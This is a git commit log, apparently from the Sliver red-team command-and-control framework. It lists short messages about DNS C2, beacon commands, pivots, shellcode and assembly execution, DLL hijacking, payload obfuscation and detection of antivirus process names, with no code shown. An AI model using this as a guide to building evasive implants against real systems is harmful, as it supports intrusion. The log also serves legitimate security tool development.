moloch-- 26c4d04d8d Use cmd name as key to pkgCache 2021-12-29 17:09:37 -06:00
moloch-- 283f605351 Fix variable shadowing, improved ux 2021-12-29 08:39:45 -06:00
moloch-- fd82c4b171 Added an update cmd 2021-12-28 16:24:40 -06:00
rkervella 3d0d61685c Avoid adding empty dependency 2021-12-28 09:04:08 -08:00
moloch-- 177358040f Skip installation of dep if it already exists 2021-12-28 08:44:28 -06:00
moloch-- e4db7d3323 Added a max depth 2021-12-28 08:39:18 -06:00
moloch-- 7b42983e4f Avoid n-depth circular deps 2021-12-28 08:37:24 -06:00
moloch-- 441f97ad6f Added install alias and ext dep resolution 2021-12-28 08:28:12 -06:00
moloch-- efea316519 wip: dep resolver 2021-12-27 22:27:05 -06:00
moloch-- f391f72b04 update extensions readme 2021-12-27 21:26:06 -06:00
moloch-- 2ebaf3115c update extensions readme 2021-12-27 21:25:44 -06:00
moloch-- 630adc0e48 update extensions readme 2021-12-27 21:24:39 -06:00
moloch-- 981aa8b80f add alias rm 2021-12-27 20:33:19 -06:00
moloch-- 024f70edc5 Prevent removal of coff-loader ext 2021-12-27 19:38:32 -06:00
moloch-- bf9b3f4aa6 Eager load installed cmds 2021-12-27 19:26:14 -06:00
moloch-- 5fc94d24bd Added an extensions rm cmd 2021-12-27 18:13:01 -06:00
moloch-- 5394f77f4a Implemented table 2021-12-27 17:29:06 -06:00
moloch-- b41ac3a229 Basic pkg info working 2021-12-27 17:09:13 -06:00
moloch-- 5c3fd8cb2b wip: armory cmd 2021-12-27 09:59:56 -06:00
moloch-- adbe7c7def Consisten ux 2021-12-26 21:43:34 -06:00
moloch-- bfcbb0bba6 Small fixes 2021-12-26 18:18:56 -06:00
moloch-- 4495c36853 added unit tests for alias parser 2021-12-26 17:27:12 -06:00
moloch-- f8d2f30344 added unit tests for ext manifest parsing 2021-12-26 16:08:00 -06:00
moloch-- 55752d1109 added os specific path handling to util 2021-12-26 12:15:29 -06:00
moloch-- 48f7560655 Implemented alias install cmd 2021-12-26 10:05:03 -06:00
moloch-- 92e0f87d44 Implemented ext install cmd 2021-12-24 19:36:21 -06:00
moloch-- 13498da60c Implemented more ux features for extensions 2021-12-24 14:25:30 -06:00
moloch-- 9c878527a5 Small refactor of exts layout 2021-12-24 12:47:56 -06:00
moloch-- f81419614d Added local file completer, and more generic client asset unpacker 2021-12-24 11:46:21 -06:00
moloch-- 368442e094 Small refactor of macro->alias and exts 2021-12-24 10:09:49 -06:00
moloch-- 670c4b7f9a Improved ux 2021-12-24 09:19:37 -06:00
moloch-- 77693c6be1 socks and wg-socks use same subcommands 2021-12-23 20:51:58 -06:00
moloch-- 35bd3fd44a Converted website tables 2021-12-23 20:45:20 -06:00
moloch-- a916f8b38b Converted wg tables 2021-12-23 20:39:52 -06:00
moloch-- fa2645e186 Converted jobs tables 2021-12-23 20:27:23 -06:00
moloch-- 597950fa0a Converted more tables 2021-12-23 20:18:37 -06:00
moloch-- 2acced66f1 Minor cleanup 2021-12-23 17:43:16 -06:00
rkervella 39a6e13ae4 Remove last CGO artifacts for shellcode generation 2021-12-23 10:38:19 -08:00
moloch-- 3b7db1dea0 Fix cross-compiling cgo in makefile 2021-12-22 14:06:53 -06:00
moloch-- 46d32e6130 Changed default db back to cgo 2021-12-22 13:55:12 -06:00
moloch-- 815bf3c479 Fix off by one in SplitBuffer 2021-12-22 10:27:10 -06:00
moloch-- a4e28f37de Fix race in size check of large dns msgs 2021-12-22 09:49:17 -06:00
moloch-- ddc94ba556 Potential fix for dns extra bytes race 2021-12-22 08:50:45 -06:00
moloch-- bf484828cd Wired up active-c2 and proxy url 2021-12-22 08:21:13 -06:00
moloch-- 8deb2c7bca Attempting to fix intermitten bug in dns boundry calculations 2021-12-21 22:04:34 -06:00
moloch-- f9c58caa78 parse all c2 args as urls 2021-12-21 20:56:50 -06:00
moloch-- ba6eda99c8 Small fix to dns client 2021-12-21 18:13:58 -06:00
moloch-- 09b441f132 updated readme 2021-12-21 17:23:04 -06:00
moloch-- 08bcff0517 gosqlite seems to work now 2021-12-21 17:20:37 -06:00
moloch-- a2d63eb4e9 gosqlite seems to work now 2021-12-21 17:11:44 -06:00
moloch-- cde5b8c2db Actually use pure go sqlite 2021-12-21 16:25:57 -06:00
moloch-- bfed9c9343 Merge branch 'v1.5.0_pivots' into stage 2021-12-21 14:51:53 -06:00
moloch-- 8adab5786b unit tests pass 2021-12-21 12:03:03 -06:00
moloch-- d2a7feba5e Remove sql.go import 2021-12-21 12:03:03 -06:00
rkervella b4d939bcb9 Merge branch 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-12-20 15:34:11 -08:00
rkervella 4d068268e2 Set default implant sleep to non-zero value 2021-12-20 15:34:06 -08:00
rkervella dd52cefc22 Move sleep time to constant 2021-12-20 15:32:43 -08:00
rkervella 3c9b8bb2cc Merge branch 'v1.5.0_pivots' of bishopfox.github.com:BishopFox/sliver into v1.5.0_pivots 2021-12-20 15:26:37 -08:00
rkervella 8af24c9c3e Fix prelude stuff 2021-12-20 15:26:28 -08:00
usiegl00 2e1aa54130 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2021-12-20 07:38:46 +09:00
moloch-- 5083ca3397 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:59:51 -06:00
moloch-- 57b3ee28a7 Merged gosqlite, added built tags for gosqlite/csqlite 2021-12-19 08:50:50 -06:00
moloch-- 2468abed25 Merge branch 'go-sqlite' into v1.5.0_pivots 2021-12-19 08:40:33 -06:00
moloch-- a3cb2bca44 comments 2021-12-19 08:40:19 -06:00
moloch-- 122e5bf3b0 Unit tests pass 2021-12-18 20:55:02 -06:00
moloch-- 09a0cc5a67 Merge branch 'v1.5.0_pivots' into go-sqlite 2021-12-18 18:02:19 -06:00
moloch-- c8a9094a90 commands, tunnels, etc. working 2021-12-18 12:16:23 -06:00
moloch-- 4247a0ddf8 wip: Pivots connect to the server and can exchange messages 2021-12-18 11:37:41 -06:00
moloch-- c8834f63ef Pivot/peer->server key exchange working 2021-12-17 17:35:36 -06:00
usiegl00 97715302a3 Add registry delete command 2021-12-17 20:43:31 +09:00
moloch-- 1fd74f69ea Go v1.17.5 2021-12-11 11:57:10 -08:00
moloch-- 4dfa46c7ae Merge branch 'stage' into v1.5.0_pivots 2021-12-07 14:41:09 -08:00
moloch-- 6f8c726863 tweak max literal sizes 2021-12-07 12:42:06 -08:00
moloch-- 763c46bd37 wip 2021-12-03 21:44:57 -06:00
moloch-- a37749bf50 Fix byte type 2021-12-02 21:32:40 -06:00
rkervella 0c7c7b54d3 Fix #544 2021-11-30 10:18:09 +01:00
rkervella 832ac585f7 Merge branch 'cert-issue' into stage 2021-11-30 10:09:59 +01:00
Joe 14492dfbcb Merge pull request #550 from usiegl00/stage
Expand tilde in generate file path
2021-11-29 20:10:24 -06:00
usiegl00 1e283e54a9 Expand tilde in generate file path 2021-11-30 09:59:05 +09:00
Ronan Kervella f679e99403 Merge pull request #549 from usiegl00/stage
Add CmdLine to Windows process list.
2021-11-29 12:09:11 +01:00
usiegl00 aab7143708 Add CmdLine to Windows process list 2021-11-29 19:19:14 +09:00
Joe 886ab348f4 Merge pull request #548 from cmprmsd/patch-1
Add Bitdefender Process Names
2021-11-28 15:07:49 -06:00
cmprmsd 8211f8f0e4 Add Bitdefender Process Names
Feel free to remove the source that I added to find out about "Bitdefender redline update"
2021-11-28 11:46:47 +01:00
moloch-- 05cc038f2f remove cc logic from makefile 2021-11-26 09:55:49 -06:00
moloch-- 1117f9b9c9 remove cc logic from makefile 2021-11-26 09:55:25 -06:00
moloch-- 8670f50150 pure go sqlite working 2021-11-26 09:50:40 -06:00
moloch-- 3613a2ffe3 wip on server-side key exchange 2021-11-26 09:38:51 -06:00
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
moloch-- de27a5e132 Fix peer envelope handler scheme 2021-11-23 08:29:30 -06:00
moloch-- 2051abd663 pivots wip, fixed socks ui bugs 2021-11-22 19:37:18 -06:00
rkervella b87a7034a9 Only log in when in debug mode 2021-11-22 09:55:56 +01:00
moloch-- 8914559aec Pivot con wip 2021-11-21 22:42:05 -06:00
moloch-- 7f84913ab2 Added failure detection 2021-11-21 18:17:03 -06:00
moloch-- 84494c1ad4 tweaked peer design 2021-11-21 17:25:04 -06:00
moloch-- 33a9fd6eae Peer key exchange working 2021-11-21 16:26:59 -06:00
moloch-- 33e72b9601 Outlined updated pivots 2021-11-21 12:00:12 -06:00
moloch-- 45be3dff80 gopsutil v3 2021-11-21 08:18:51 -06:00
moloch-- 325fd47401 Insert minisign sigs, enable variable literal obf 2021-11-21 08:16:39 -06:00
moloch-- 526c3c104a Fix unit tests, added util.gzip funcs 2021-11-20 20:42:13 -06:00
moloch-- c4542d8def Added more unit tests for minisign 2021-11-20 20:22:35 -06:00
moloch-- ade83e551f Added minisign keys to db key/value 2021-11-20 19:30:30 -06:00
moloch-- a7da3027ac Moved secrets to db 2021-11-20 18:42:57 -06:00
moloch-- edc6d21c23 Fixed dns beacon reconnect problems 2021-11-20 16:23:44 -06:00
moloch-- 31ca964e6c Fixes to beacon key life cycle 2021-11-20 15:36:31 -06:00
moloch-- 735ae74f1d Fix state revert bug 2021-11-20 14:54:12 -06:00
moloch-- 49679538eb Made beacon registration eventable 2021-11-20 14:27:31 -06:00
moloch-- 000ca54a15 nil resp check 2021-11-20 11:29:16 -06:00
moloch-- eb615f3add Fixed poll truncation/race issue #540 2021-11-20 11:23:37 -06:00
moloch-- acb0f857b3 Force generation of secure password 2021-11-20 09:54:23 -06:00
moloch-- 610d8b18c9 Force generation of secure password 2021-11-20 09:51:12 -06:00
moloch-- edf126c149 Warn user about socks proxy creds 2021-11-20 09:48:33 -06:00
moloch-- 1794d0cebd Renable socks user/pw 2021-11-20 09:45:07 -06:00
moloch-- e66d563f65 Fix nil RemoteAddr deref 2021-11-20 09:38:51 -06:00
moloch-- 8dd2b5d7ce Update socks api usage 2021-11-20 09:00:41 -06:00
moloch-- 10246681ba Switched deps to fork of memmod and go-socks5 2021-11-20 08:47:24 -06:00
moloch-- ed19017941 Update table 2021-11-20 08:37:46 -06:00
moloch-- c0116cc9d5 Tweaks to socks ux 2021-11-20 08:22:20 -06:00
moloch-- a890812a0a Fix logging levels 2021-11-19 20:43:30 -06:00
moloch-- b1922bce73 Fix log import 2021-11-19 20:15:39 -06:00
moloch-- 47aaeb0225 Merge socks 2021-11-19 19:44:56 -06:00
moloch-- 61c844db44 Rebase 2021-11-19 19:41:23 -06:00
moloch-- 35bbc61a9a Stage socks branch 2021-11-19 19:39:57 -06:00
moloch-- 6453f477f4 Fix fmt import 2021-11-19 19:39:57 -06:00
moloch-- b0709a364a Tweaked dns c2 2021-11-19 19:39:55 -06:00
moloch-- 2e65e1842f Moving to per-c2 opts 2021-11-19 19:39:45 -06:00
moloch-- c068664854 Wire dns c2 to beacon interface 2021-11-19 19:39:45 -06:00
moloch-- e9debcc2a4 Increase default workers 2021-11-19 19:39:45 -06:00
moloch-- 7ae2d0a481 DNS C2 mvp 2021-11-19 19:39:44 -06:00
moloch-- b62e3354e0 Wired send loop 2021-11-19 19:39:44 -06:00
moloch-- e55afa7efe Outlined the rest of server-side dns c2 2021-11-19 19:39:44 -06:00
moloch-- 65dc11a40e Wired dns recv to core 2021-11-19 19:39:44 -06:00
moloch-- 2620673f50 More/larger tests 2021-11-19 19:39:44 -06:00
moloch-- e22d3ac58e Re-assemble unit tests 2021-11-19 19:39:44 -06:00
moloch-- 604c3480cf Updated garble 2021-11-19 19:39:44 -06:00
rkervella ca8544a169 No need for CGO for shellcodes anymore 2021-11-19 19:39:44 -06:00
rkervella e1713bd418 Add missing Request field 2021-11-19 19:39:44 -06:00
rkervella 0649a2680b Switch upstream memmod to up to date version 2021-11-19 19:39:44 -06:00
rkervella 280f5c6be7 Fix flag name 2021-11-19 19:39:44 -06:00
rkervella 77ddfd8013 Add error handling 2021-11-19 19:39:44 -06:00
rkervella 48d2eed385 Replace protobuf annotations with unique strings 2021-11-19 19:39:44 -06:00
moloch-- 36d531fa86 Entrypoint -> StartW 2021-11-19 19:39:44 -06:00
moloch-- ab2ab45edc Improved worker/queue pattern 2021-11-19 19:39:44 -06:00
moloch-- 2b2c1bdc13 splitBuffer tests for max parent 2021-11-19 19:39:44 -06:00
moloch-- 983b5476bd splitBuffer tests for b32 and b58 2021-11-19 19:39:43 -06:00
moloch-- cbd95a2003 tests and fixes for splitBuffer 2021-11-19 19:39:43 -06:00
moloch-- a3b1693a41 dnsclient unit tests 2021-11-19 19:39:43 -06:00
moloch-- 434ca2fee9 Improved unit tests 2021-11-19 19:39:43 -06:00
moloch-- 92ef847a59 wip on server-side send/recv impl 2021-11-19 19:39:43 -06:00
moloch-- 800c584397 Added variable encoding, wip 2021-11-19 19:39:43 -06:00
moloch-- b2a2dac63b Initial fingerprint impl working 2021-11-19 19:39:43 -06:00
moloch-- 954616b5a3 outlined fingerprint scheme 2021-11-19 19:39:43 -06:00
moloch-- 2cd4264101 Abstracted resolver impl 2021-11-19 19:39:43 -06:00
moloch-- b8d78c56e9 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- c5262aa807 Platform specific find resolvers 2021-11-19 19:39:43 -06:00
moloch-- 17dba3543d wip on dns c2 updates 2021-11-19 19:39:43 -06:00
moloch-- 7b0a83027e Modified base58 alphabet 2021-11-19 19:39:43 -06:00
moloch-- f46f7a36ff Updated b58 unit tests 2021-11-19 19:39:43 -06:00
moloch-- a369c46952 Base62 -> Base58 2021-11-19 19:39:43 -06:00
moloch-- 907ef9ca2f Updated lics 2021-11-19 19:39:43 -06:00
moloch-- 4df5c78b7e Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-11-19 19:39:43 -06:00
moloch-- 3765e016b4 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- 6fa06e8d74 Updated garble 2021-11-19 19:39:42 -06:00
moloch-- c3841efcef Fix dns imports 2021-11-19 19:39:42 -06:00
moloch-- 508e9ab9d9 dns wip 2021-11-19 19:39:42 -06:00
moloch-- 433482031c added pb 2021-11-19 19:39:42 -06:00
moloch-- a4a94eca98 some initial refactoring 2021-11-19 19:39:42 -06:00
moloch-- ecea6049a8 check n bytes 2021-11-19 19:39:42 -06:00
moloch-- 1767c34f47 Go v1.17.2 2021-11-19 19:39:42 -06:00
moloch-- 6fd1e4802b Cleanup tunnel read() 2021-11-19 19:39:42 -06:00
moloch-- f745d9524e Remove server core import 2021-11-19 19:39:42 -06:00
rkervella a8464d5b0c Fix DLL hijack protobuf 2021-11-19 19:39:40 -06:00
rkervella cc7a56e07b Close connection once payload has been sent. 2021-11-19 19:38:32 -06:00
Chris Smith cdbf93d64b Enable hyphen in operator names 2021-11-19 19:38:32 -06:00
rkervella fdd319f6f3 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-11-19 19:38:32 -06:00
dependabot[bot] 22f840acbd Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-11-19 19:38:32 -06:00
moloch-- 9d200bb2aa mvp of open session 2021-11-19 19:38:32 -06:00
moloch-- 17b6cf7a5e OpenSession wip 2021-11-19 19:38:30 -06:00
moloch-- 22efd18301 Modified connection pattern to support runtime values 2021-11-19 19:38:14 -06:00
rkervella 4d45883c72 Fix Sprintf statement 2021-11-19 19:36:56 -06:00
rkervella b98bf6ef53 Fix short flag conflict 2021-11-19 19:36:56 -06:00
rkervella 65ea935750 Add missing flag, rename short flag 2021-11-19 19:36:56 -06:00
rkervella 9865ee2396 Update COFF Loader version 2021-11-19 19:36:56 -06:00
rkervella ca7cf74387 Remove double build constraints 2021-11-19 19:36:56 -06:00
rkervella 9eb6fda037 Rework uintptr cast to avoid size limitation 2021-11-19 19:36:56 -06:00
rkervella 1a5eb1c118 Fix flags types and help string 2021-11-19 19:36:56 -06:00
rkervella f43d01b4b0 Add kill support for beacons 2021-11-19 19:36:54 -06:00
moloch-- 96fe3c7db8 Regenerate pb 2021-11-19 19:36:23 -06:00
Raf 8188ba689d client/command/filesystem/ls: Fix an off-by-one error that prevented the ls command from operating against the root of the drive. 2021-11-19 19:36:00 -06:00
rkervella 4517684728 Refactor to use GetInteractive() 2021-11-19 19:35:08 -06:00
rkervella ab1b72f410 Cleaning up Windows kill handler 2021-11-19 19:35:08 -06:00
rkervella fd83024e4b Add autocomplete for use 2021-11-19 19:35:08 -06:00
rkervella 18ee8e5133 Switch beacons command to the Generic help group 2021-11-19 19:35:07 -06:00
rkervella 5a96962611 Switch beacons command to the proper help group 2021-11-19 19:35:07 -06:00
rkervella 85b592b2b9 Add helpgroup for beacons 2021-11-19 19:35:07 -06:00
moloch-- 91a569f389 Implemented beacon priv cmds 2021-11-19 19:35:07 -06:00
moloch-- b646ca835c Implemented beacon registry cmds 2021-11-19 19:35:07 -06:00
moloch-- 26993f797c Implemented beacon screenshot 2021-11-19 19:35:07 -06:00
moloch-- ec743b2e85 Implemented beacon proc cmds 2021-11-19 19:35:07 -06:00
moloch-- 0ac43c69d6 Implemented task fetch for netstat 2021-11-19 19:35:07 -06:00
moloch-- a2f8bac4b1 Ported netstat to beacon/table writer 2021-11-19 19:35:07 -06:00
moloch-- 2c9643b404 Added support for GOPROXY env var and server config 2021-11-19 19:35:07 -06:00
moloch-- 1239b5fd87 Added multiplayer -p flag 2021-11-19 19:35:07 -06:00
moloch-- d904a74d14 Added new flags to http/https listeners 2021-11-19 19:35:07 -06:00
moloch-- 60aaeebe0b Added --all to ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 000ecb51eb Added beacon prune command 2021-11-19 19:35:07 -06:00
moloch-- fbddd67930 Added beacon watch command 2021-11-19 19:35:07 -06:00
moloch-- 10f7b000b4 implemented ifconfig 2021-11-19 19:35:07 -06:00
moloch-- 2f3ebbfcd5 Task fetch for ssh, and env tasks 2021-11-19 19:35:06 -06:00
moloch-- b54d97b497 Implemented task fetch for exec pkg 2021-11-19 19:35:06 -06:00
moloch-- eedfb272a5 Implemented more task fetch renderers 2021-11-19 19:35:06 -06:00
moloch-- 47857e903c Added command to fetch old task results 2021-11-19 19:35:06 -06:00
moloch-- 0da314d925 Updated ssh to work with beacon 2021-11-19 19:35:06 -06:00
moloch-- c132b14272 Updated spawndll client cmd 2021-11-19 19:35:06 -06:00
moloch-- f6b7e07653 Updated server-side rpc's for execute-assembly, sideload, spawndll 2021-11-19 19:35:06 -06:00
moloch-- 60cbf09520 Ported msf/msf-remote to support beacon 2021-11-19 19:35:04 -06:00
moloch-- 0090e8dfd8 Added beacon support to execute-shellcode 2021-11-19 19:34:11 -06:00
moloch-- 099753fa74 Added beacon support to execute-assembly 2021-11-19 19:34:11 -06:00
moloch-- 6685bf486e Only paginate on 2x terminal sized tables 2021-11-19 19:34:11 -06:00
moloch-- 6d5a288626 UX improvements 2021-11-19 19:34:11 -06:00
rkervella 3bf157b29d Refactor 2021-11-19 19:34:11 -06:00
rkervella 146be0e814 Revert "Refactoring"
This reverts commit de7fd664cd.
2021-11-19 19:34:11 -06:00
rkervella 065fc3ffa6 Revert "Escape string before JSON parsing"
This reverts commit 1549b894fa.
2021-11-19 19:34:11 -06:00
rkervella d3da84731f Refactoring 2021-11-19 19:34:11 -06:00
rkervella b451d90a33 Escape string before JSON parsing 2021-11-19 19:34:11 -06:00
rkervella c01ace4a67 Add PID to bof result 2021-11-19 19:34:10 -06:00
rkervella e8d22af3bc Check for nil pointer 2021-11-19 19:34:10 -06:00
rkervella 50f83c958b Removed comment 2021-11-19 19:34:10 -06:00
rkervella 6ac9a16aa7 Remove commented code 2021-11-19 19:34:10 -06:00
rkervella caad9de26c Initial BOF support for Prelude Operator 2021-11-19 19:34:10 -06:00
rkervella 70805d04f7 Remove logging 2021-11-19 19:34:10 -06:00
moloch-- a3b98716a7 Stage socks branch 2021-11-19 19:28:52 -06:00
moloch-- 24f6a9d8ab Fix fmt import 2021-11-19 17:26:52 -06:00
moloch-- d6b5571c7e Tweaked dns c2 2021-11-19 17:02:34 -06:00
moloch-- c0b08cbd42 Moving to per-c2 opts 2021-11-19 15:09:06 -06:00
moloch-- d567a21f8c Wire dns c2 to beacon interface 2021-11-19 13:28:13 -06:00
moloch-- 105d80cdb7 Increase default workers 2021-11-19 09:33:59 -06:00
moloch-- d1627c9030 DNS C2 mvp 2021-11-18 20:10:55 -06:00
moloch-- 661732012d Wired send loop 2021-11-18 12:43:51 -06:00
moloch-- f55f248fbc Outlined the rest of server-side dns c2 2021-11-18 11:24:50 -06:00
moloch-- 6817c5a117 Wired dns recv to core 2021-11-18 08:56:17 -06:00
moloch-- 6b31d6985a More/larger tests 2021-11-17 19:47:42 -06:00
moloch-- 47357c346a Re-assemble unit tests 2021-11-17 19:38:28 -06:00
moloch-- 970ff6b80b Updated garble 2021-11-17 14:48:01 -06:00
moloch-- 126dc44c44 Merge branch 'stage' into v1.5.0_dns2 2021-11-17 13:53:00 -06:00
moloch-- 4abc395485 Entrypoint -> StartW 2021-11-16 08:52:18 -06:00
rkervella 0f5284fb2d No need for CGO for shellcodes anymore 2021-11-15 14:21:32 +01:00
moloch-- 0f4dc27498 Improved worker/queue pattern 2021-11-14 15:16:39 -06:00
moloch-- 7ea5039e9a splitBuffer tests for max parent 2021-11-14 13:25:58 -06:00
moloch-- b1e4a016d4 splitBuffer tests for b32 and b58 2021-11-14 13:19:18 -06:00
moloch-- 785810ebea tests and fixes for splitBuffer 2021-11-14 10:44:52 -06:00
moloch-- 5779f337d0 dnsclient unit tests 2021-11-14 09:10:28 -06:00
moloch-- ab93f0d1c6 Improved unit tests 2021-11-13 13:40:15 -06:00
moloch-- d4cc59d1e6 wip on server-side send/recv impl 2021-11-09 18:43:55 -06:00
rkervella 03d1f92441 Merge branch 'v1.5.0_beacon' into stage 2021-11-09 11:23:24 +01:00
rkervella 77ddf234bd Add missing Request field 2021-11-09 11:22:02 +01:00
rkervella a53bc17665 Switch upstream memmod to up to date version 2021-11-08 10:09:14 +01:00
moloch-- 1682f58801 Added variable encoding, wip 2021-11-06 19:16:06 -05:00
moloch-- 3d4e76990c Initial fingerprint impl working 2021-11-06 13:14:46 -05:00
moloch-- d97fb249a8 outlined fingerprint scheme 2021-11-05 17:46:29 -05:00
rkervella e8714dbdec Fix flag name 2021-11-03 11:48:59 +01:00
rkervella f69a4f8b92 Add error handling 2021-11-03 10:34:04 +01:00
moloch-- c2925a8a57 Abstracted resolver impl 2021-11-02 19:46:14 -05:00
moloch-- 6484b0c5a6 Platform specific find resolvers 2021-11-01 10:59:37 -05:00
moloch-- 338b8bb5b2 Platform specific find resolvers 2021-11-01 10:55:12 -05:00
moloch-- 15ca3871dd wip on dns c2 updates 2021-10-31 15:50:13 -05:00
moloch-- f11a1333bb Modified base58 alphabet 2021-10-31 10:40:27 -05:00
moloch-- 4a2c9cb50e Updated b58 unit tests 2021-10-31 10:36:28 -05:00
moloch-- c8928b4864 Base62 -> Base58 2021-10-31 10:35:34 -05:00
moloch-- 13ecb9782b Updated lics 2021-10-30 15:33:23 -05:00
moloch-- 05ce79e986 Obfuscate more of the pkgs, limited pkg obfuscation is currently broken 2021-10-30 15:26:31 -05:00
moloch-- a3c7d057f6 Updated garble 2021-10-30 13:00:16 -05:00
moloch-- b3277d0f4c Updated garble 2021-10-30 12:51:09 -05:00
moloch-- 1f0e9d6995 Fix dns imports 2021-10-30 12:16:57 -05:00
moloch-- 478f677f55 dns wip 2021-10-30 11:30:22 -05:00
moloch-- 7463298de1 added pb 2021-10-30 09:45:19 -05:00
moloch-- 7306d439e1 some initial refactoring 2021-10-30 08:22:59 -05:00
rkervella 66d6e8043a Merge branch 'dont-merge-that' into stage 2021-10-29 19:00:40 +02:00
rkervella 11505d8f94 Replace protobuf annotations with unique strings 2021-10-29 19:00:13 +02:00
moloch-- 452d7b7fce check n bytes 2021-10-27 16:43:18 -05:00
moloch-- 606c5ac948 Go v1.17.2 2021-10-22 08:31:58 -05:00
moloch-- 8ee4f786b4 Cleanup tunnel read() 2021-10-21 08:46:15 -05:00
moloch-- 79a96368d0 Remove server core import 2021-10-21 08:44:00 -05:00
moloch-- 8176068bb5 Merge latest v1.5 2021-10-21 08:31:03 -05:00
moloch-- ff8de9922e Merge master 2021-10-21 08:29:05 -05:00
Ronan Kervella 13cbf53851 Merge pull request #527 from BishopFox/dll-hijack-fix
DLL Hijack update
2021-10-21 15:17:37 +02:00
rkervella 56f339c8a3 Fix Sprintf statement 2021-10-21 15:13:29 +02:00
rkervella e31fd56730 Fix DLL hijack protobuf 2021-10-21 14:45:55 +02:00
Ronan Kervella 9af5d9126f Merge pull request #525 from BishopFox/fix-stager-close-conn
Close TCP connection on TCP stager
2021-10-12 12:49:09 +02:00
rkervella d9499c26a1 Close connection once payload has been sent. 2021-10-12 12:21:49 +02:00
Ronan Kervella 5bd101bc47 Merge pull request #524 from BishopFox/bugfix/fix-operator-usernames
Enable hyphen in operator names
2021-10-12 10:57:30 +02:00
Chris Smith 0e1d21bb28 Enable hyphen in operator names 2021-10-12 05:20:15 +00:00
Ronan Kervella 1f5a950752 Merge pull request #523 from BishopFox/fix-spawndll-crash
Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type
2021-10-11 11:43:10 +02:00
rkervella 3a1ff3fa52 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-10-11 09:43:47 +02:00
moloch-- 9db930b10f mvp of open session 2021-10-09 17:49:03 -05:00
a3sroot 2fa6bc2e59 Defective socks 2021-10-05 11:57:29 +08:00
moloch-- 2e3f92ed22 OpenSession wip 2021-10-04 17:35:51 -05:00
rkervella c552a2fd9f Fix short flag conflict 2021-10-01 12:11:27 +02:00
rkervella e729576a6d Add missing flag, rename short flag 2021-10-01 12:05:32 +02:00
moloch-- c9f04b0a1c Modified connection pattern to support runtime values 2021-09-28 13:02:18 -10:00
rkervella a439c39d64 Update COFF Loader version 2021-09-28 10:44:58 +02:00
rkervella 0471a219c4 Remove double build constraints 2021-09-28 10:35:00 +02:00
rkervella 6631727242 Rework uintptr cast to avoid size limitation 2021-09-28 10:34:10 +02:00
rkervella c21171d739 Fix flags types and help string 2021-09-28 10:19:23 +02:00
Ronan Kervella 98aa4ed58c Merge pull request #518 from BishopFox/dependabot/bundler/docs/nokogiri-1.12.5
Bump nokogiri from 1.11.7 to 1.12.5 in /docs
2021-09-28 10:16:18 +02:00
rkervella 4ad1f1a561 Add kill support for beacons 2021-09-28 10:15:51 +02:00
dependabot[bot] d0a38bb792 Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-09-28 05:59:37 +00:00
rkervella ee8603b30c Merge branches 'v1.5.0_beacon' and 'stage' of bishopfox.github.com:BishopFox/sliver into stage 2021-09-27 18:19:38 +02:00
rkervella 11ea01819f Refactor to use GetInteractive() 2021-09-27 11:05:30 +02:00
rkervella da39a82b83 Cleaning up Windows kill handler 2021-09-27 10:58:48 +02:00
rkervella 3ce730a469 Add autocomplete for use 2021-09-27 10:50:58 +02:00
rkervella f52ee8c28f Switch beacons command to the Generic help group 2021-09-27 10:37:08 +02:00
rkervella 150511df9b Switch beacons command to the proper help group 2021-09-27 10:36:20 +02:00
rkervella 3e8c3fc02e Add helpgroup for beacons 2021-09-27 10:32:09 +02:00
moloch-- 019d0d40f6 Regenerate pb 2021-09-26 19:47:54 -07:00
moloch-- 268aa95169 Merged v1.5.0_beacon 2021-09-26 19:47:23 -07:00
moloch-- 7775880277 Implemented beacon priv cmds 2021-09-26 19:31:05 -07:00
moloch-- ba541ffd43 Implemented beacon registry cmds 2021-09-26 18:44:59 -07:00
moloch-- a60cc86c9a Implemented beacon screenshot 2021-09-26 18:12:32 -07:00
moloch-- 0099e06cc6 Implemented beacon proc cmds 2021-09-26 17:41:18 -07:00
moloch-- b0fdec2700 Implemented task fetch for netstat 2021-09-26 15:43:28 -07:00
moloch-- 8419cf7442 Ported netstat to beacon/table writer 2021-09-26 15:38:24 -07:00
moloch-- d470543f98 Added support for GOPROXY env var and server config 2021-09-26 10:59:46 -05:00
moloch-- 84d41f063b Added multiplayer -p flag 2021-09-25 22:47:15 -05:00
moloch-- c876f34cd0 Added new flags to http/https listeners 2021-09-25 19:42:53 -05:00
moloch-- 7ba3f87afb Added --all to ifconfig 2021-09-25 17:57:26 -05:00
moloch-- 008f9c6fde Added beacon prune command 2021-09-25 17:16:21 -05:00
moloch-- 80e6c2a24e Added beacon watch command 2021-09-25 16:15:08 -05:00
moloch-- 69842674d2 implemented ifconfig 2021-09-25 15:34:23 -05:00
moloch-- b2f9ccfab6 Task fetch for ssh, and env tasks 2021-09-25 14:34:53 -05:00
moloch-- 358b6ab20d Implemented task fetch for exec pkg 2021-09-25 13:34:52 -05:00
